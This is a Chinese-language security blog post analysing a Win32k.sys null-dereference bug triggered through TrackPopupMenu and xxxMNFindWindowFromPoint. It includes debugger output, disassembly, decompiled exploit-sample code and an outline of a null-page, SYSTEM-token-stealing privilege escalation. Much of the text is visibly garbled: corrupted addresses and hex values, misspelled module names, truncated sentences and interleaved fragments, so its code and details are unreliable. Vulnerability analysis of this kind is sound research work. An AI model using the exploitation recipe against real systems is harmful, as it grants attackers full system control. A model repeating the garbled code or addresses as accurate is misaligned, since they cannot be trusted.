kgsdy / 2019-03-22 09:21:00 / 浏览数 4068 安全技术 漏洞分析 顶(0) 踩(0)

漏洞概述

Win32k.sys是Windows的系统驱动文件,在Win32k.sys中负责窗口管理,以及GUI进程/线程都将使用Win32k.sys。与其相关的用户模式模块是user32.dll和GDI32.DLL,| xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMN

漏洞细节

通过对利用程序的分析发现在该漏洞利用代码中将调用PsLookupProcessByProcessId获取进程EPROCESS结构指针,在利用该结构中的TOKEN进行提权。在调用PsLooku

```
9950b30 94bb481
9950b30 94bb496
9950b14 89e578e6
9950c14 89e578e6
9950c14 70550t4
018bfed0 75622483e
018bfed4 75612243
018bfe44 01301604
018bff84 75612243
018bff86 7707379eb
018bff88 00000000
11 kdy 01301604
win32-0x1604:
01301604 85c0
01301606 7417
01301608 57
                                   eax.eax
wim32+0x161f (0130161f)
edi
edi
edi
dword ptr [esp+1Ch]
dword ptr [wim32+0x9150 (01309150)]
w dword ptr [wim32+0x4650 (01304650)].1
0130160a 57 pu
0130160b ff74241c pu
0130160b ff74241c ca
0130160f ff1550913001 ca
01301615 c70568da3001010000
                                                                ds:SetWindowsHookExA
.text:013015E5
                                                  call
.text:013015EB
                                                  test
                                                                eax, eax
.text:013015ED
                                                  jz
                                                                short loc_130161F
                                                                                        ; prcRect
.text:013015EF
                                                  push
                                                                edi
                                                            [esp+6Ch+hWnd] ; hWnd
.text:013015F0
                                                  push
.text:013015F4
                                                               eax, 0FFFFD8F0h
                                                  mov
                                                                                         ; nReserved
.text:013015F9
                                                  push
                                                             edi
.text:013015FA
                                                  push
                                                                eax
                                                                                         ; у
.text:013015FB
                                                  push
                                                               eax
                                                                                         ; x
                                                  push
                                                                                          ; uFlags
.text:013015FC
                                                               edi
.text:013015FD
                                                  push
                                                                ebx
                                                                                          ; hMenu
.text:013015FE
                                                  call
                                                               ds:TrackPopupMenu
.text:01301604
                                                   test
                                                               eax, eax
```

可以看到程序是在执行函数TrackPopupMenu触发了漏洞。通过函数调用栈,对esi值的来源进行反向跟踪,可以知道在Menu的消息处理函数xxxHandleMenuMessages(a1, int a2, int a3)中调用xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值,最终触发了漏洞。

通过对xxxMNFindWindowFromPoint的调用过程进行分析,找到异常的返回值是在SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到。异常的值最终是由KeUserModeCallback函数通过v27指向的值返回。

```
v28 = KeUserModeCallback(33, &v20, 24, &v27, &v29);// 回调用户态的消息处理函数
 UserEnterUserCritSec();
 ThreadUnlock1();
 ms_exc.registration.TryLevel = 1;
 v13 = (v9[53] + 40);
 *v13 = v17;
 ++v13;
*v13 = v18;
 v13[1] = v19;
 ms exc.registration.TryLevel = -2;
 if ( v28 < 0 | | v29 != 12 )
    return 0;
    s_exc.registration.TryLevel = 2;
 if ( v27 < W32UserProbeAddress )
                                                                                      // 在用户空间返回一个值
     v14 = *W32UserProbeAddress;
 v30 = v14;
 ms exc.registration.TryLevel = -2:
 内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcl
| 03: kd/sr | 03: kd/sr | 04: kd/sr | 04: kd/sr | 04: kd/sr | 05: 
                                                    dword ptr [win32k!_iap__KeUserModeCallback (94c70478)] ds:0023:94c70478={i
0: kd> kv 10
ChildEBP RetAddr
                                                                                                                                                                               LRESULT __stdcall fn(int code, WPARAM wParam, LPAR
                                                                                                                                                                                   if ( *(1Param + 8) == 0x1EB && !dword_130DA60 )
                                                                                                                                                                                       dword_130DA60 = 1;
                                                                                                                                                                                      if ( UnhookWindowsHook(4, fn) )
                                                                                                                                                                                           lpPrevWndFunc = SetWindowLongA(*(lParam + 1)
                                                                                                                                                                                   return CallNextHookEx(θ, code, wParam, 1Param);
程序在fn函数中通过SetWindowLongA设置PopupMenu的窗口消息处理函数,那么当xxxCallHook函数返回后,下图中的条件不成立,将执行xxxSendMessageToClient
   if ( (*(gptiCurrent + 300) | *(*(gptiCurrent + 51) + 12)) & 0x20 )
      v20 = UnicodeString:
      v19 = Src;
v21 = v12;
       v23 = 0:
       xxxCallHook(0, 0, &v19, 4);
   if (*(P + 22) & 4 )
      IoGetStackLimits(&LowLimit, &MighLimit);
if ( &MighLimit - LowLimit < 0x1000 )</pre>
      if ( &Mighlimit - LowLimit < 0x1000 )
return 0;
result = (*(P + 24))(P, v12, UnicodeString, Src);
if ( !a7)
return result;
*a7 = result;</pre>
      xxxSendMessageToClient(P, v12, U
v15 = v13[75] | *(v13[51] + 12);
                                                    UnicodeString, Src, 0, 0, &HighLimit);// 通过HighLimit返回异常
      if ( v15 & 0x2000 )
         v22 = *P;
         v20 = UnicodeString;
         v21 = v12;
         xxxCallHook(0, 0, &v18, 12);
sub_13013F3函数中会调用 EndMenu 销毁菜单窗口并返回0xFFFFFFB。应用层代码返回 0xFFFFFFB,执行流返回到内核 win32k!
xxxMNFindWindowFromPoint 上下文
 ,0xFFFFFFB与KeUserModeCallback函数通过v27返回的值相等,0xFFFFFFB会做为xxxMNFindWindowFromPoint的返回值。为了确认,可以修改sub_13013F3函数:
 int __stdcall sub_13013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM 1Param)
   int result; // eax
   DWORD v5; // eax
   if ( Msg != 491 )
      return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, 1Param);
   v5 = GetCurrentThreadId();
   SetWindowsHookExA(9, pfnFilterProc, 0, v5);
   SendMessageA(hWnd, 0, 0x900516u, 0);
UnhookWindowsHook(9, pfnFilterProc);
if (dword_1300A58)
       EndMenu();
      result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, 1Param);
   else
       EndMenu();
      result = 0xFFFFFFB:
   return result;
可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时,没有判断消息函数的返回值,最终导致了漏洞。
```

ms_exc.registration.TryLevel = -2; UserSessionSwitchLeaveCrit(); 该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFB,最终触发了漏洞。

漏洞利用

对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,而程序把该值作为win32k!tagWND结构处理,导致后边把0xFFFFFFB作为win32k!ptagWND结构传给win32k!xxxSendMessage。在win32k!

xxxSendMessage中会调用win32k!xxxSendMessageTimeout,在win32k!xxxSendMessageTimeout中当把0xFFFFFFB作为win32k!tagWND结构处理时,会调用ptag' [0xFFFFFFB+0x60],即call [0x5B]。

```
.text:94B394E8
.text:94B394E8 loc 94B394E8:
                                                           ; CODE XREF: xxxSendMessageTimeout
.text:94B394E8
                                 push
                                          [ebp+Src]
.text:94B394EB
                                 push
                                         dword ptr [ebp+UnicodeString]
.text:94B394EE
                                 push
                                         ebx
.text:94B394EF
                                 push
                                         esi
.text:94B394F0
                                 call
                                         dword ptr [esi+60h]
                                         ecx, [ebp+arg_18]
.text:94B394F3
                                 mov
.text:94B394F6
                                         ecx, ecx
loc 94B39591
                                 test
.text:94B394F8
                                 iz.
.text:94B394FE
                                 mov
                                          [ecx], eax
.text:94B39500
                                 jmp
                                         loc_9483958A
```

通过call [0x5B]可以想到只要在0x5B的地址上布置shellcode的地址,在执行到call [0x5B]的时候就能跳转到shellcode代码上去执行。基本的利用流程如下。

1)

通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x2) 触发漏洞,并设置 xxxMNFindWindowFromPoint返回值为 -5(0xfffffffb)

。xxxSendMessage将把-5作为一个有效的地址。然后调用指向shellcode的函数指针。

3)

Shellcode中将调用PsLookupProcessByProcessId获取EPROCESS信息,用系统进程system进程的EPROCESS.Token替换自己进程的EPROCESS.Token提升权限。4) 创建一个子进程,将用系统程序权限执行。

点击收藏 | 0 关注 | 1

上一篇: Pragyan CTF 19 逆向详解 下一篇: 空安全意识, 撸码一时手抖 elF...

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板